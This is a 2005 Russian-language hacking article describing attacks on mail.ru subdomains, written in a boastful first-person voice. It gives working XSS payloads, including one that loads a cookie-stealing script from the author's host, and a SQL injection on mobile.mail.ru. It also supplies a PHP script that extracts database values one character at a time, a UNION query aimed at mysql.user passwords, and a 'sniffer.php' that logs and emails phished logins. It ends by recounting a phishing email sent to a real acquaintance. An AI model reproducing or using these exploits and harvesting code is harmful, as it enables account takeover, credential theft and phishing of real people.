Информационные технологииStfw.Ru 🔍

Взлом mail.ru

Взлом Mail.ru: непобедимых не бывает pixcher
🕛 26.12.2005, 05:31
Автор статьи - pixcher
Взлом mail.ru
Итак мои полуоткрытые глаза впиваются в монитор, браузер начинает подвисать от огромного количества "левых" URL со всевозможными параметрами...я занимаюсь любимым делом...ломаю mail.ru...Уже прошло полчаса, но не один из скриптов mail.ru не желает поддаться.И тут я заметил многочисленные ссылки на сервисы mail.ru и направилсвой браузер туда.
С первых же запросов была обнаруженна xss уязвимость в домене torg.ru

http://torg.ru/catalog/search.php?price_from="><h1>XSS</h1><br" 

Скрипт абсолютно не фильтровал переменные из поисковй формы и без зазрения совести выплёвывал наш параметр с html тэгами.
Но меня не интересовал torg.ru - поэтому я полный решимости загрузил следующий сервис нашего почтовика.Им стал поддомен 7ya.mail.ru, напичканный картинками и флеш мультами.Я почему-то не стал рассматривать картинки (видимо настроение было не то =)) и сразу принялся косячить с параметрами =) Вскоре был обнаружен бажный скрипт

 http://7ya.mail.ru/image.php?in=>XSS - правда он "немного" 

обрабатывал входящие параметры, заменяя лишь
' на ' и " на "
но потом выдавал параметр в тэге
<img src=$in>
Так что мне не составило большого труда закрыть тэг
<img>
и загрузить наш ява скрипт (который конечно ворует печеньки) не используя кавычек, примерно так >
<script src=mysite.ru/xxx.js>. 

Но на этом останавливаться не хотелось, поэтому я перевёл боевые действия на поддомен мобильных развлечений mobile.mail.ru . Вдоволь послушав рингтонов (это единственная музыка, которую мне позволяет скачать мой узкий канал =)) я начал поиск бажных скриптов.И В ПЕРВОМ ЖЕ запросе браузер мне выдал

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' 
Ошибка выполнения запроса!

SELECT COUNT(DISTINCT cc.content_id) FROM cache_content as cc, cache_content_region as r, cache_content_num as n WHERE cc.content_group = 'melody' AND cc.content_type = 'melody_mp3' AND r.content_id = cc.content_id AND n.content_id = cc.content_id AND r.region_id = '9' AND n.model_id = 0 AND singer_id = '9'' 
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''9''' at line 1 

Я не поверил своим глазам, но после нажатия на кнопку REFRESH баг не исчез =) Запрос к БД на число мелодий по введённым критериям совсем не фильтровался на спецсимволы!!!Абсолютно!!!
Моя радость увеличилась, когда я заметил, что запрос

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' or 1=1/* 

выполняется и выдаёт нам кучу мелодий на скачивание, а запрос

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' or 1=2/* 

выдаёт 0 => никакого списка рингтонов не отображает =)
а это значит то, что можно посимвольно брутить поля базы данных!!!
для начало попробуем сбрутить имя пользователя БД user()

SQL функция substring(user(),1,1) выдёргивает из строки user() первый символ, а функция lower(substring(user(),1,1)) ещё и переводит его в нижний регистр

запрос
http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' AND lower(substring(user(),1,1))="a"/* 

не выдал ни одного рингтона - а значит первая буква пользователя БД не "a" =(
первый символ я подобрал вручную, запрос

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' AND lower(substring(user(),1,1))="i"/* 

выдавал мне полный перечень музона, и я понял, что для облегчения этого беспонтового ручного перебора нужно писать скрипт...

Наш скрипт должен скачивать страницу, меняя в запросе ="a" на остальные символы англицкого алфафита и если в теле скаченной страницы присутствует наш список мелодий (практическим путём было выясненно, что такая страница содержит волшебное число 17107 :)) то скрипт должен показать нам этот символ и перейти к поиску второго символа, то есть выполняя запросы, содержащие substring(user(),2,1) и т.д.

Не долго думая я запусти блокнот и начал вбивать в него до боли знакомые строки любимого PHP.
У меня получилось примерно так:

<? 
#Скрипт для посимвольного брута полей БД by pixcher (http://runthes.ru) 
set_time_limit(0); //пусть наш скрипт не обламывается, если перебор затягивается на длительное время 

$find="user()";# Искомая строка (здесь может быть любое поле БД в виде подзапроса) 
$bruteline ='qwertyuiopasdfghjklzxcvbnm1234567890_+!@#$%^&*'"()';#Предполагаем, что исходная строка состоит только из этих символов 
$k=1;#Номер символа, который мы брутим (изначально первый =)) 

#Далее идёт функция для скачивания веб странички, адрес которой передаётся ей в параметре 
function get_page ($link){ 
$url = parse_url ($link); 
$scr = $url['path']; 
$scr .= ($url['query'] > "")?"?".$url['query']:""; 
$scr .= ($url['fragment'] > "")?"#".$url['fragment']:""; 
$host .= $url['host']; 
$port = ($url['port'] > "")?$url['port']:80; 
$sock = fsockopen ($host, $port); 
fputs ($sock, "GET /$scr HTTP/1.0rnHost: $hostrnrn"); 
$cont = ""; 
while (!feof ($sock)) { $cont .= fgets ($sock); } 
fclose ($sock); 
return $cont; 
} 


for ($i=0;$i<strlen($bruteline);$i++){ # запускаем цикл для всех наших символов 
$link="http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9'%20AND%20lower(substring($find,$k,1))="$bruteline[$i]"/*";# Динамически изменяющийся запрос =) 
$page=get_page($link);# Скачиваем страницу 
if(strstr($page, "17107")){ # ...и если она содержит магическое число 17107... 
echo "$bruteline[$i]"; # ...показываем найденный символ... 
$i=0; # ...начинаем перебор заново... 
$k++; # ...но для следующего символа 
}} 
?> 
Запускаем наш скрипт и...
...видим имя пользователя БД: "inform@yavanna.mtu"

Попробуем вместо
$find="user()"; 
перебирать результаты подзапроса, например $find="(SELECT password from mysql.user LIMIT 1)"; 
запискаем скрипт, но он выдаёт...а хо-хо не хе-хе ("а хо-хо не хе-хе", - хакерский слэнг, заменяющий фразу "а не хотити ли вы х*я?" - прим редактора ;)) 
эх..подзапросы к сожалению не поддерживаются в почтовой БД =( 

Ничего сташного, UNION SELECT ещё никто не отменял, так что возможен такой перебор: 

http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=-9' UNION SELECT 1 FROM mysql.user where user="inform" and lower(substring(password,1,1))="a" 

но к этому моменту меня уже стало воротить от одной мысли о запрсе к БД, и я "вдруг" вспомнил, что неправомерный доступ к конфидециальной информации карается законом =)

Так что вернёмся к нашим поддоменам и продолжим поиски =)
Теперь я стал смотреть на mail.ru , как на обычный бажный сайтик, поэтому не удивился после того, как нашёл XSS на странице авторизации в скрытом параметре popup (нашёл я его просмотрев исходник страницы, и попробовав "протолкнуть" его в адресной строке)
Запрос выглядит примерно так:

http://talk.mail.ru/login.html?popup="><h1>XSS!!!Ваще%20ничо%20не%20фильтруется%20=)%20"%20'<br" 

Дальше я не стал изобретать самокат и сделал фейковую страницу авторизации на своём сайте
затем наколбасил URL

http://talk.mail.ru/login.html?popup="><script>

Переадресация на нашу страницу?in=куки
то есть при переадревации на фейковую страницу, та сохраняла куки (на случай - если пользователь не захочет вбивать пароль в нашу форму =))
Про то, как сделать фейк писали уже много раз, поэтому не буду тратить силы на это скучное описание =)
Отмечу лишь, что после сохранения пароля, наша фейковая страница не просто делает переадресацию на реальную страницу авторизации, а передаёт логинпароль POST запрсом (то есть реально "залогинивает" пользователя на сервер).Сделал я это так

файл sniffer.php:
<? 
$adminmail = "mymail@mail.ru"; 

function email($to,$mailtext) 
{ 
mail($to,'password',$mailtext,$adminmail); 
} 

$text="[".date("d.m.y H:i")."]Login: $_POST[login] Password: $_POST[pass]rn"; 
email($adminmail,$text); 

$file = fopen("logs.txt","a"); 
fputs($file, $text); 
fclose($file); 

echo "<FORM id='auth' action='http://talk.mail.ru/login.html' method=post> 
<INPUT type=hidden name=login value='$_POST[login]'> 
<INPUT type=hidden name=pass value='$_POST[pass]'> 
<script>auth.submit();</script> 
</FORM>"; 
?> 

Для проверки всего сказанного, я написал "жалостливое" письмо соей новой подружке от бедных админов support@mail.ru c просьбой кликнуть по ссылке...и вскоре в файле logs.txt появилась новая строчка...какая???не скажу =)

(с) pixcher.4kv.ru

Информационная безопасность   Теги: Mail.ru, Xss

Читать IT-новости в Telegram
Информационные технологии
Мы в соцсетях ✉